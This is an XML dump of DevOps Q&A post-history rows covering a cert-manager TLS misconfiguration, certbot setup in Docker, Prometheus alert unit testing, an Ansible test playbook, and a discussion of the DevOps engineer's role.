  <row Id="32586" PostHistoryTypeId="5" PostId="10603" RevisionGUID="a7ba6350-604e-4d40-b9d5-1402f298a534" CreationDate="2020-01-26T23:05:12.370" UserId="11221" Comment="deleted 6 characters in body" Text="I'm trying to get a kubernetes cluster using the nginx ingress controller and cert manager to get an SSL cert from lets encrypt. Currently is appears the cert has been issued however I am unable to get it to load properly inside Chrome or via curl.&#xD;&#xA;&#xD;&#xA;Below are some config files that show the current config and following that some describes.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: cert-manager.io/v1alpha2&#xD;&#xA;kind: Issuer&#xD;&#xA;metadata:&#xD;&#xA;  name: letsencrypt-prod&#xD;&#xA;  namespace: cert-manager-prod&#xD;&#xA;spec:&#xD;&#xA;  selfSigned: {}&#xD;&#xA;---&#xD;&#xA;apiVersion: cert-manager.io/v1alpha2&#xD;&#xA;kind: Certificate&#xD;&#xA;metadata:&#xD;&#xA;  name: letsencrypt-prod&#xD;&#xA;  namespace: cert-manager-prod&#xD;&#xA;spec:&#xD;&#xA;  commonName: me@example.com &lt;- This is not actually what I have just for example reasons&#xD;&#xA;  secretName: letsencrypt-prod-tls&#xD;&#xA;  issuerRef:&#xD;&#xA;    name: letsencrypt-prod&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: extensions/v1beta1&#xD;&#xA;kind: Ingress&#xD;&#xA;metadata:&#xD;&#xA;  annotations:&#xD;&#xA;    # add an annotation indicating the issuer to use.&#xD;&#xA;    kubernetes.io/ingress.class: &quot;nginx&quot;&#xD;&#xA;    cert-manager.io/cluster-issuer: &quot;letsencrypt-prod&quot;&#xD;&#xA;    # needed to allow the front end to talk to the back end&#xD;&#xA;    nginx.ingress.kubernetes.io/cors-allow-origin: &quot;https://portal.&lt;domain&gt;.com&quot;&#xD;&#xA;    nginx.ingress.kubernetes.io/cors-allow-credentials: &quot;true&quot;&#xD;&#xA;    nginx.ingress.kubernetes.io/enable-cors: &quot;true&quot;&#xD;&#xA;    nginx.ingress.kubernetes.io/cors-allow-methods: &quot;GET, PUT, POST, DELETE, PATCH, OPTIONS&quot;&#xD;&#xA;    # needed for monitoring - maybe&#xD;&#xA;    prometheus.io/scrape: &quot;true&quot;&#xD;&#xA;    prometheus.io/port: &quot;10254&quot;&#xD;&#xA;    #for nginx ingress controller&#xD;&#xA;    ad.datadoghq.com/nginx-ingress-controller.check_names: '[&quot;nginx&quot;,&quot;nginx_ingress_controller&quot;]'&#xD;&#xA;    ad.datadoghq.com/nginx-ingress-controller.init_configs: '[{},{}]'&#xD;&#xA;    ad.datadoghq.com/nginx-ingress-controller.instances: '[{&quot;nginx_status_url&quot;: &quot;http://%%host%%:18080/nginx_status&quot;},{&quot;prometheus_url&quot;: &quot;http://%%host%%:10254/metrics&quot;}]'&#xD;&#xA;    ad.datadoghq.com/nginx-ingress-controller.logs: '[{&quot;service&quot;: &quot;controller&quot;, &quot;source&quot;:&quot;nginx-ingress-controller&quot;}]'&#xD;&#xA;  name: prod-ingress&#xD;&#xA;  namespace: production&#xD;&#xA;spec:&#xD;&#xA;  rules:&#xD;&#xA;  - host: api.&lt;domain&gt;.com&#xD;&#xA;    http:&#xD;&#xA;      paths:&#xD;&#xA;      - backend:&#xD;&#xA;          serviceName: api&#xD;&#xA;          servicePort: 8090&#xD;&#xA;        path: /&#xD;&#xA;  tls: # &lt; placing a host in the TLS config will indicate a certificate should be created&#xD;&#xA;  - hosts:&#xD;&#xA;    - api.&lt;domain&gt;.com&#xD;&#xA;    secretName: prod-ingress-cert # &lt; cert-manager will store the created certificate in this secre&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;me@LAPTOP-LINUX:~/Projects/k8/tmp$ kubectl get certificates&#xD;&#xA;NAME                READY   SECRET              AGE&#xD;&#xA;prod-ingress-cert   False   prod-ingress-cert   30m&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Name:         prod-ingress-cert&#xD;&#xA;Namespace:    production&#xD;&#xA;Labels:       &lt;none&gt;&#xD;&#xA;Annotations:  &lt;none&gt;&#xD;&#xA;API Version:  cert-manager.io/v1alpha2&#xD;&#xA;Kind:         Certificate&#xD;&#xA;Metadata:&#xD;&#xA;  Creation Timestamp:  2020-01-26T21:29:07Z&#xD;&#xA;  Generation:          1&#xD;&#xA;  Owner References:&#xD;&#xA;    API Version:           extensions/v1beta1&#xD;&#xA;    Block Owner Deletion:  true&#xD;&#xA;    Controller:            true&#xD;&#xA;    Kind:                  Ingress&#xD;&#xA;    Name:                  prod-ingress&#xD;&#xA;    UID:                   adec15ea-4cde-4376-8e6a-306586e57119&#xD;&#xA;  Resource Version:        2780&#xD;&#xA;  Self Link:               /apis/cert-manager.io/v1alpha2/namespaces/production/certificates/prod-ingress-cert&#xD;&#xA;  UID:                     c86bf4aa-8435-4da0-a822-1a0e9d1df38e&#xD;&#xA;Spec:&#xD;&#xA;  Dns Names:&#xD;&#xA;    api.&lt;domain&gt;.com&#xD;&#xA;  Issuer Ref:&#xD;&#xA;    Group:      cert-manager.io&#xD;&#xA;    Kind:       ClusterIssuer&#xD;&#xA;    Name:       letsencrypt-prod&#xD;&#xA;  Secret Name:  prod-ingress-cert&#xD;&#xA;Status:&#xD;&#xA;  Conditions:&#xD;&#xA;    Last Transition Time:  2020-01-26T21:29:07Z&#xD;&#xA;    Message:               Waiting for CertificateRequest &quot;prod-ingress-cert-1024021523&quot; to complete&#xD;&#xA;    Reason:                InProgress&#xD;&#xA;    Status:                False&#xD;&#xA;    Type:                  Ready&#xD;&#xA;Events:&#xD;&#xA;  Type    Reason        Age   From          Message&#xD;&#xA;  ----    ------        ----  ----          -------&#xD;&#xA;  Normal  GeneratedKey  30m   cert-manager  Generated a new private key&#xD;&#xA;  Normal  Requested     30m   cert-manager  Created new CertificateRequest resource &quot;prod-ingress-cert-1024021523&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;That's everything I can think of that might be of use in resolving this issue. I should note I have a similar setup running on development (well did till I took the cluster down today) that is/was working. " ContentLicense="CC BY-SA 4.0" />
  <row Id="32587" PostHistoryTypeId="2" PostId="10604" RevisionGUID="2369c59e-56bc-44cc-a7cb-11a3a853b2d2" CreationDate="2020-01-26T23:50:20.413" UserId="11221" Text="Issue ended up being that I was creating a self signed cert because I was using the wrong issuer. I had an issue before with the dev.yaml file but never updated for this new ENV." ContentLicense="CC BY-SA 4.0" />
  <row Id="32595" PostHistoryTypeId="50" PostId="10098" RevisionGUID="d6aa6591-ede7-4457-9d18-64230e83ded7" CreationDate="2020-01-27T05:02:25.350" UserId="-1" />
  <row Id="32596" PostHistoryTypeId="2" PostId="10607" RevisionGUID="d1851d5a-089b-4a48-847b-1c7d706139dd" CreationDate="2020-01-27T06:12:31.150" UserId="19290" Text="[Answered my own question, documented my steps on my Github repo.][1]&#xD;&#xA;&#xD;&#xA;Recap:&#xD;&#xA;&#xD;&#xA;Add Nginx config to desired domains:&#xD;&#xA;&#xD;&#xA;    location ~ /.well-known/acme-challenge {&#xD;&#xA;            allow all;&#xD;&#xA;            try_files $uri $uri/ /index.php;&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;Use certbot staging to try out test certificates before running the real deal.&#xD;&#xA;&#xD;&#xA;    sudo docker run -it --rm -v /some/place/to/save/letsencrypt:/etc/letsencrypt -v /some/place/to/save/lib:/var/lib/letsencrypt -v /some/place/to/have/html:/data/letsencrypt certbot/certbot certonly --webroot --register-unsafely-without-email --agree-tos --webroot-path=/data/letsencrypt --staging -d example.com&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Run the real thing once ready&#xD;&#xA;&#xD;&#xA;    sudo docker run -it --rm --v /some/place/to/save/letsencrypt:/etc/letsencrypt -v /some/place/to/save/lib:/var/lib/letsencrypt -v /some/place/to/have/html:/data/letsencrypt certbot/certbot certonly --webroot --email someemail@account.com&#xD;&#xA;&#xD;&#xA;And then add in Nginx configs redirecting from http to https with ssl cert locations, updating nginx in docker-compose.yml to have access to certs. Go a tiny bit more in-depth about it in my repo&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/Plykiya/Docker-Nginx-PHP-MySQL-PHPMyAdmin-Gitlab/blob/master/README.md" ContentLicense="CC BY-SA 4.0" />
  <row Id="32598" PostHistoryTypeId="2" PostId="10609" RevisionGUID="ac0208ce-caad-4adf-9115-c3a29949e4e9" CreationDate="2020-01-27T07:46:11.653" UserId="3451" Text="I read a very short blog posting about [Unit testing alerts with Prometheus][1]&#xD;&#xA;&#xD;&#xA;Can you explain me why I need unit testing for *.yml? What is the benefit of unit testing for configuration files?&#xD;&#xA;&#xD;&#xA;I not understand what are the gains when implementing that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.robustperception.io/unit-testing-alerts-with-prometheus" ContentLicense="CC BY-SA 4.0" />
  <row Id="32599" PostHistoryTypeId="1" PostId="10609" RevisionGUID="ac0208ce-caad-4adf-9115-c3a29949e4e9" CreationDate="2020-01-27T07:46:11.653" UserId="3451" Text="What is Unit testing in the context of YML configuration?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32600" PostHistoryTypeId="3" PostId="10609" RevisionGUID="ac0208ce-caad-4adf-9115-c3a29949e4e9" CreationDate="2020-01-27T07:46:11.653" UserId="3451" Text="&lt;configuration&gt;&lt;prometheus&gt;&lt;unit-testing&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32604" PostHistoryTypeId="2" PostId="10610" RevisionGUID="53dcf6a4-ee7a-42be-968b-7edc3208fa41" CreationDate="2020-01-27T10:56:41.260" UserId="17579" Text="The important part of the blog post you link to isn't testing the syntax of the YAML file; it's testing the semantics of the Prometheus configuration.&#xD;&#xA;&#xD;&#xA;The core configuration in that post includes a fragment:&#xD;&#xA;&#xD;&#xA;    - alert: MyAlert&#xD;&#xA;      expr: avg without(instance)(up) &lt; 0.75&#xD;&#xA;      for: 2m&#xD;&#xA;      labels:&#xD;&#xA;        severity: page&#xD;&#xA;&#xD;&#xA;How do you know this is the right configuration?  If it's misconfigured then either your on-call team gets paged when the system is healthy, or it doesn't get paged when the system is down; both are bad.&#xD;&#xA;&#xD;&#xA;The test setup shown in the blog post would let you test your Prometheus alerting setup, with artificial sample data (the &quot;bar&quot; instance is up for 5 minutes, then down for 5 minutes, and it's expected to page after it's been down for longer than 2 minutes), before you deploy it for real and without actually paging anyone.  That gives you some confidence your monitoring setup will do what you expect, before you deploy it for real." ContentLicense="CC BY-SA 4.0" />
  <row Id="32605" PostHistoryTypeId="2" PostId="10611" RevisionGUID="1ea673fd-f47c-42a5-9bd8-59dc9512c25f" CreationDate="2020-01-27T11:08:44.290" UserId="19335" Text="I'm in the need for this and my google leaded me to [this post on SO](https://stackoverflow.com/q/40803050/248616)&#xD;&#xA;&#xD;&#xA;I guess it's helpful to boost the beta for our sister site DevOps Stackexchagne here.&#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;&#xD;&#xA;I quote the original question&#xD;&#xA;&#xD;&#xA;`docker stats` gives a good overview of the cpu/mem/net io/disk io as text.&#xD;&#xA;&#xD;&#xA;Does there exist a `htop` like monitor that shows the docker stats?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32606" PostHistoryTypeId="1" PostId="10611" RevisionGUID="1ea673fd-f47c-42a5-9bd8-59dc9512c25f" CreationDate="2020-01-27T11:08:44.290" UserId="19335" Text="monitor for docker stats similar to htop?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32607" PostHistoryTypeId="3" PostId="10611" RevisionGUID="1ea673fd-f47c-42a5-9bd8-59dc9512c25f" CreationDate="2020-01-27T11:08:44.290" UserId="19335" Text="&lt;monitoring&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32608" PostHistoryTypeId="2" PostId="10612" RevisionGUID="3f604bd8-ffd3-4758-ba69-a711233a62c3" CreationDate="2020-01-27T11:47:37.633" UserId="17622" Text="I am new to Kubernetes. I am getting below error while creating deployments in Kubernetes. &#xD;&#xA;```Authentication required&#xD;&#xA;&lt;!--&#xD;&#xA;You are authenticated as: anonymous&#xD;&#xA;Groups that you are in:&#xD;&#xA;&#xD;&#xA;Permission you need to have (but didn't): hudson.model.Hudson.Read&#xD;&#xA; ... which is implied by: hudson.security.Permission.GenericRead&#xD;&#xA; ... which is implied by: hudson.model.Hudson.Administer&#xD;&#xA;--&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Can anyone give me solution for this?&#xD;&#xA;&#xD;&#xA;I am using below command to setup deployment&#xD;&#xA;```&#xD;&#xA; kubectl run my-app --image=gcr.io/&lt;dockeraccount&gt;/&lt;dockerrepository&gt;:dockerimagetag&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="32609" PostHistoryTypeId="1" PostId="10612" RevisionGUID="3f604bd8-ffd3-4758-ba69-a711233a62c3" CreationDate="2020-01-27T11:47:37.633" UserId="17622" Text="Authentication Error in Kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="32610" PostHistoryTypeId="3" PostId="10612" RevisionGUID="3f604bd8-ffd3-4758-ba69-a711233a62c3" CreationDate="2020-01-27T11:47:37.633" UserId="17622" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;kubectl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32611" PostHistoryTypeId="2" PostId="10613" RevisionGUID="3e858df7-996d-4b3c-b951-71e4ddb40921" CreationDate="2020-01-27T14:02:52.157" UserId="18637" Text="I found this same error in StackOverflow, problably that you problem it's about your authentication *anonymous*&#xD;&#xA;&#xD;&#xA;If help you: [JENKINS Authentication Fails][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/25394445/jenkins-authentication-fails" ContentLicense="CC BY-SA 4.0" />
  <row Id="32616" PostHistoryTypeId="52" PostId="10609" RevisionGUID="bf3b9279-9866-47d5-9370-a41e3a3669f6" CreationDate="2020-01-27T15:47:52.703" />
  <row Id="32617" PostHistoryTypeId="2" PostId="10616" RevisionGUID="1171ebba-c1bf-45e9-b3c9-bac3b6ca19bc" CreationDate="2020-01-28T00:05:48.443" UserId="13111" Text="Following you comment: no I cannot reproduce your problem. Since you did not provide the rest of your files (inventory, etc...) and I cannot guess where is your problem, here is a quick proof by example using the `php:7.0-apache` image.&#xD;&#xA;&#xD;&#xA;* The inventory (`inventories/docker_test/hosts.yml`)&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;all:&#xD;&#xA;  hosts:&#xD;&#xA;    docker_test:&#xD;&#xA;      ansible_connection: docker&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;* Launching the test container&#xD;&#xA;```&#xD;&#xA;docker run -d --rm --name docker_test php:7.0-apache&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;* The test `playbook.yml`&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;- hosts: docker_test&#xD;&#xA;  gather_facts: false&#xD;&#xA;&#xD;&#xA;  tasks:&#xD;&#xA;    # Your image does not have python which is mandatory for ansible&#xD;&#xA;    # Please note this is for demo only. You should get python installed&#xD;&#xA;    # by extending the image through a Dockerfile and build it.&#xD;&#xA;    - name: Dirty low-level command to get python installed&#xD;&#xA;      raw: apt-get update &amp;&amp; apt-get install -y python3&#xD;&#xA;&#xD;&#xA;    - name: Gather facts now we can&#xD;&#xA;      setup:&#xD;&#xA;&#xD;&#xA;    - name: Copy a dummy file&#xD;&#xA;      copy:&#xD;&#xA;        dest: /etc/apache2/sites-available/dummy.conf&#xD;&#xA;        content: &quot;# I'm a dummy file&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;* Playbook run and output&#xD;&#xA;```&#xD;&#xA;$ ansible-playbook -i inventories/docker_test/ playbook.yml &#xD;&#xA;&#xD;&#xA;PLAY [docker_test] ********************************************************************************************************************************************************************************************************&#xD;&#xA;&#xD;&#xA;TASK [Dirty low-level command to get python installed] ********************************************************************************************************************************************************************&#xD;&#xA;changed: [docker_test]&#xD;&#xA;&#xD;&#xA;TASK [Gather facts now we can] ********************************************************************************************************************************************************************************************&#xD;&#xA;[WARNING]: Platform linux on host docker_test is using the discovered Python interpreter at /usr/bin/python3.5, but future installation of another Python interpreter could change this. See&#xD;&#xA;https://docs.ansible.com/ansible/2.9/reference_appendices/interpreter_discovery.html for more information.&#xD;&#xA;&#xD;&#xA;ok: [docker_test]&#xD;&#xA;&#xD;&#xA;TASK [Copy a dummy file] **************************************************************************************************************************************************************************************************&#xD;&#xA;changed: [docker_test]&#xD;&#xA;&#xD;&#xA;PLAY RECAP ****************************************************************************************************************************************************************************************************************&#xD;&#xA;docker_test                : ok=3    changed=2    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="32618" PostHistoryTypeId="2" PostId="10617" RevisionGUID="d789966a-3982-41be-b74a-cee3db54129d" CreationDate="2020-01-28T06:45:21.040" UserId="1173" Text="I will not get into what is DevOps since everyone have their own meaning.&#xD;&#xA;&#xD;&#xA;But I would like to understand what is the boundary of DevOps engineer. Sometimes people ping me and ask to me that,&#xD;&#xA;&#xD;&#xA;&gt; can you please help me setting up VPN in my laptop?&#xD;&#xA;&#xD;&#xA;sometimes,&#xD;&#xA;&#xD;&#xA;&gt; From the RDP machine, I am not able to open MySQL workbench, it hangs,&#xD;&#xA;&gt; can you fix it please?&#xD;&#xA;&#xD;&#xA;sometimes,&#xD;&#xA;&#xD;&#xA;&gt; Production application is having performance issues, why is it&#xD;&#xA;&gt; happening?&#xD;&#xA;&#xD;&#xA;and sometimes,&#xD;&#xA;&#xD;&#xA;&gt; Can you please schedule the performance testing script?&#xD;&#xA;&#xD;&#xA;I think we need an industry wide boundary, otherwise, the role of DevOps engineer is going in every direction." ContentLicense="CC BY-SA 4.0" />
  <row Id="32619" PostHistoryTypeId="1" PostId="10617" RevisionGUID="d789966a-3982-41be-b74a-cee3db54129d" CreationDate="2020-01-28T06:45:21.040" UserId="1173" Text="What is the boundary of DevOps engineer?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32620" PostHistoryTypeId="3" PostId="10617" RevisionGUID="d789966a-3982-41be-b74a-cee3db54129d" CreationDate="2020-01-28T06:45:21.040" UserId="1173" Text="&lt;job-role&gt;&lt;team-role&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32621" PostHistoryTypeId="4" PostId="10609" RevisionGUID="63509c98-fd51-43c8-af46-03be8b2672f2" CreationDate="2020-01-28T06:46:43.007" UserId="3451" Comment="edited title" Text="What is Unit testing in the context of YML configuration Alerting rules?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32622" PostHistoryTypeId="5" PostId="10617" RevisionGUID="d2694357-da65-4611-8193-f41de9dc0a1a" CreationDate="2020-01-28T06:52:08.160" UserId="1173" Comment="added 109 characters in body" Text="I will not get into what is DevOps since everyone have their own meaning.&#xD;&#xA;&#xD;&#xA;But I would like to understand what is the boundary of DevOps engineer. Sometimes people ping me and ask to me that,&#xD;&#xA;&#xD;&#xA;&gt; can you please help me setting up VPN in my laptop?&#xD;&#xA;&#xD;&#xA;sometimes,&#xD;&#xA;&#xD;&#xA;&gt; From the RDP machine, I am not able to open MySQL workbench, it hangs,&#xD;&#xA;&gt; can you fix it please?&#xD;&#xA;&#xD;&#xA;sometimes,&#xD;&#xA;&#xD;&#xA;&gt; Production application is having performance issues, why is it&#xD;&#xA;&gt; happening?&#xD;&#xA;&#xD;&#xA;sometimes,&#xD;&#xA;&#xD;&#xA;&gt; Can you please schedule the performance testing script?&#xD;&#xA;&#xD;&#xA;sometimes,&#xD;&#xA;&#xD;&#xA;&gt; can you setup the spark and hadoop cluster?&#xD;&#xA;&#xD;&#xA;sometimes,&#xD;&#xA;&#xD;&#xA;&gt; can you create users in MySQL?&#xD;&#xA;&#xD;&#xA;I think we need an industry wide boundary, otherwise, the role of DevOps engineer is going in every direction." ContentLicense="CC BY-SA 4.0" />
  <row Id="32623" PostHistoryTypeId="6" PostId="10617" RevisionGUID="04e78e91-d141-408a-b4d2-e4c45263c0c7" CreationDate="2020-01-28T07:11:45.797" UserId="1173" Comment="edited tags" Text="&lt;project-management&gt;&lt;job-role&gt;&lt;team-role&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32625" PostHistoryTypeId="5" PostId="10617" RevisionGUID="2c2053e3-95ce-444a-8cc2-d953a00bd6b1" CreationDate="2020-01-28T08:36:26.467" UserId="707" Comment="added 18 characters in body" Text="I will not get into what is DevOps since everyone have their own meaning.&#xD;&#xA;&#xD;&#xA;But I would like to understand what is the boundary of DevOps engineer. Sometimes people ping me and ask to me that,&#xD;&#xA;&#xD;&#xA;&gt; 1. can you please help me setting up VPN in my laptop?&#xD;&#xA;&#xD;&#xA;sometimes,&#xD;&#xA;&#xD;&#xA;&gt; 2. From the RDP machine, I am not able to open MySQL workbench, it hangs,&#xD;&#xA;&gt; can you fix it please?&#xD;&#xA;&#xD;&#xA;sometimes,&#xD;&#xA;&#xD;&#xA;&gt; 3. Production application is having performance issues, why is it&#xD;&#xA;&gt; happening?&#xD;&#xA;&#xD;&#xA;sometimes,&#xD;&#xA;&#xD;&#xA;&gt; 4. Can you please schedule the performance testing script?&#xD;&#xA;&#xD;&#xA;sometimes,&#xD;&#xA;&#xD;&#xA;&gt; 5. can you setup the spark and hadoop cluster?&#xD;&#xA;&#xD;&#xA;sometimes,&#xD;&#xA;&#xD;&#xA;&gt; 6. can you create users in MySQL?&#xD;&#xA;&#xD;&#xA;I think we need an industry wide boundary, otherwise, the role of DevOps engineer is going in every direction." ContentLicense="CC BY-SA 4.0" />
  <row Id="32626" PostHistoryTypeId="2" PostId="10618" RevisionGUID="846cfc2b-3546-400c-9d03-cd7ce71fc859" CreationDate="2020-01-28T08:53:13.970" UserId="707" Text="There is actually no real &quot;DevOps engineer&quot; because it's a methodology/culture which emphasizes also on technical practices which should stretch across as many roles as possible and feasible.&#xD;&#xA;&#xD;&#xA;How can we apply the CALMS (Culture, Automation, Lean, Measure, Share) mantra here? (Taking into approach that depending on factors like maturity, complexity and resources in the context, approaches need to be adapted to what helps to solve problems in an efficient and sustainable way)&#xD;&#xA;&#xD;&#xA;* Requirements engineer: can I automatically qualify maturity of requirements and track their delivery?&#xD;&#xA;* Software engineer: what is required to run my software in test either productive environment?&#xD;&#xA;* Architect: can I have a big picture based on live metrics?&#xD;&#xA;* Tester: can I create virtual temporary infrastructure to support execution of my code?&#xD;&#xA;* System administrator: how can I better organize my help desk / 1st user support and leverage self-help / automation solutions?&#xD;&#xA;&#xD;&#xA;Somebody with a wish to focus on the methodology itself will be somewhere in-between all these guys and obviously become &quot;jack of everything, master of none&quot;. &#xD;&#xA;&#xD;&#xA;Given this, my consideration is:&#xD;&#xA;&#xD;&#xA;1. Please follow the instructions to setup VPN in this Wiki/code from this Git repo and if it's not working, document/show steps you have taken.&#xD;&#xA;2. Please share more details on the context (here is not clear who owns which parts).&#xD;&#xA;3. Let's allocate time to develop emergency plan for immediate action if required and also run scaling tests on a test system to model experiments, collect data and finally learn under which circumstances the performance problems appear. Then, we will know why it is happening. :-)&#xD;&#xA;4. Follow from 3.? What does mean schedule from your perspective and if you mean regular execution, how often? So please let's go back to previous item :-)&#xD;&#xA;5. Possibly, have you got more specs which infrastructure option (Cloud, on premises) should we use for that and what and what are you going to do? Here is a link to generic infrastructure planner, let's allocate time to discuss what is specific for Spark/Hadoop here and how will delivery to it look like.&#xD;&#xA;&#xD;&#xA;So the bottom line in DevOps culture is:&#xD;&#xA;&#xD;&#xA;- professional communication first&#xD;&#xA;- the boundary is to set boundaries inviting people to a professional conversation between adults, to get more conscious on both sides (!) about requirements, responsibilities and goals. Not just thinking in solutions and delegation but also make a plan and assess risks. &#xD;&#xA;&#xD;&#xA;Therefore seasoned and successful professionals who are today maybe 50+ yrs old say sometimes jokingly &quot;we have been doing DevOps from the very beginning&quot; and partly, they are right." ContentLicense="CC BY-SA 4.0" />
  <row Id="32627" PostHistoryTypeId="6" PostId="10617" RevisionGUID="2548136b-09a2-4228-8706-757d3be68288" CreationDate="2020-01-28T08:53:25.540" UserId="707" Comment="edited tags" Text="&lt;culture&gt;&lt;project-management&gt;&lt;job-role&gt;&lt;team-role&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32628" PostHistoryTypeId="2" PostId="10619" RevisionGUID="be5935be-1ab8-4bc5-93fd-c3c5d97da1ef" CreationDate="2020-01-28T08:57:21.037" UserId="19350" Text="Ok, let's assume I've got the following theoretical setup:&#xD;&#xA;&#xD;&#xA;[![1][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/jYBe9.png&#xD;&#xA;&#xD;&#xA;I want to somehow assign IP-Addresses accessible by the PCs on the left to my pods. I can set routes etc. as I need since this setup is purely for practice. My goal is for every Pod to be able to expose any service (HTTP(s)/FTP/...) on any port. E.g.: &lt;Pod1IP&gt;:22, &lt;Pod2IP&gt;:22 for SSH&#xD;&#xA;&#xD;&#xA;My first thought was to create ```ClusterIPs``` for every pod and somehow use ingress to assign IPs to those services, but as I later found out this is not what ingress is intended for.&#xD;&#xA;&#xD;&#xA;My next step was to look at ```LoadBalancer```-type services and this is where I'm currently at. My current impression is that they somehow only work with AWS/Google Cloud/Other providers and always expose those selected services to the internet, which is not my intention. I only want them to be accessible from my internal network.&#xD;&#xA;&#xD;&#xA;Any input would be appreciated." ContentLicense="CC BY-SA 4.0" />
  <row Id="32629" PostHistoryTypeId="1" PostId="10619" RevisionGUID="be5935be-1ab8-4bc5-93fd-c3c5d97da1ef" CreationDate="2020-01-28T08:57:21.037" UserId="19350" Text="Kubernetes: How to expose a Pod/Deployment to the Nodes Network" ContentLicense="CC BY-SA 4.0" />
  <row Id="32630" PostHistoryTypeId="3" PostId="10619" RevisionGUID="be5935be-1ab8-4bc5-93fd-c3c5d97da1ef" CreationDate="2020-01-28T08:57:21.037" UserId="19350" Text="&lt;kubernetes&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32634" PostHistoryTypeId="5" PostId="10618" RevisionGUID="aebb56e7-1be1-409f-b09d-1a699de9c826" CreationDate="2020-01-28T09:00:34.420" UserId="707" Comment="added 783 characters in body" Text="From &quot;how it should work&quot; perspective there is no real &quot;DevOps engineer&quot; because it's a methodology/culture which emphasizes also on technical practices which should stretch across as many roles as possible and feasible.&#xD;&#xA;&#xD;&#xA;How can we apply the CALMS (Culture, Automation, Lean, Measure, Share) mantra here? (Taking into approach that depending on factors like maturity, complexity and resources in the context, approaches need to be adapted to what helps to solve problems in an efficient and sustainable way)&#xD;&#xA;&#xD;&#xA;* Requirements engineer: can I automatically qualify maturity of requirements and track their delivery?&#xD;&#xA;* Software engineer: what is required to run my software in test either productive environment?&#xD;&#xA;* Architect: can I have a big picture based on live metrics?&#xD;&#xA;* Tester: can I create virtual temporary infrastructure to support execution of my code?&#xD;&#xA;* System administrator: how can I better organize my help desk / 1st user support and leverage self-help / automation solutions?&#xD;&#xA;&#xD;&#xA;Somebody with a wish to focus on the methodology itself will be somewhere in-between all these guys and obviously become &quot;jack of everything, master of none&quot;. &#xD;&#xA;&#xD;&#xA;Given this, my consideration is:&#xD;&#xA;&#xD;&#xA;1. Please follow the instructions to setup VPN in this Wiki/code from this Git repo and if it's not working, document/show steps you have taken.&#xD;&#xA;2. Please share more details on the context (here is not clear who owns which parts).&#xD;&#xA;3. Let's allocate time to develop emergency plan for immediate action if required and also run scaling tests on a test system to model experiments, collect data and finally learn under which circumstances the performance problems appear. Then, we will know why it is happening. :-)&#xD;&#xA;4. Follow from 3.? What does mean schedule from your perspective and if you mean regular execution, how often? So please let's go back to previous item :-)&#xD;&#xA;5. Possibly, have you got more specs which infrastructure option (Cloud, on premises) should we use for that and what and what are you going to do? Here is a link to generic infrastructure planner, let's allocate time to discuss what is specific for Spark/Hadoop here and how will delivery to it look like.&#xD;&#xA;&#xD;&#xA;So the bottom line in DevOps culture regarding the role boundary is:&#xD;&#xA;&#xD;&#xA;- professional communication first&#xD;&#xA;- the boundary is to set boundaries inviting people to a professional conversation between adults, to get more conscious on both sides (!) about requirements, responsibilities and goals. Not just thinking in solutions and delegation but also make a plan and assess risks. &#xD;&#xA;&#xD;&#xA;Therefore seasoned and successful professionals who are today maybe 50+ yrs old say sometimes jokingly &quot;we have been doing DevOps from the very beginning&quot; and partly, they are right.&#xD;&#xA;&#xD;&#xA;To conclude and highlight and reflect on the real-world existence of such job-role, organizations who do not have a DevOps culture proceed to define DevOps roles as the following, for example:&#xD;&#xA;&#xD;&#xA;* DevOps engineer is an advanced systems administrator who can code up the infrastructure and automate it completely.&#xD;&#xA;* DevOps engineer is a tools administrator with coding skills to support the Dev team and ensure delivery towards production (CI/CD, deployment scripting but also Jira administration)&#xD;&#xA;* DevOps engineer is a developer focusing on including infrastructure elements into development, like containers and cloud APIs.&#xD;&#xA;&#xD;&#xA;After all, many still look for the &quot;full stack engineer&quot; who should obviously become additionally the DevOps engineer.&#xD;&#xA;&#xD;&#xA;Finally, the role boundary, possibly not only DevOps, but there indeed very likely:&#xD;&#xA;&#xD;&#xA;- is also in your responsibility&#xD;&#xA;- may change between projects and employers or just from time to time." ContentLicense="CC BY-SA 4.0" />
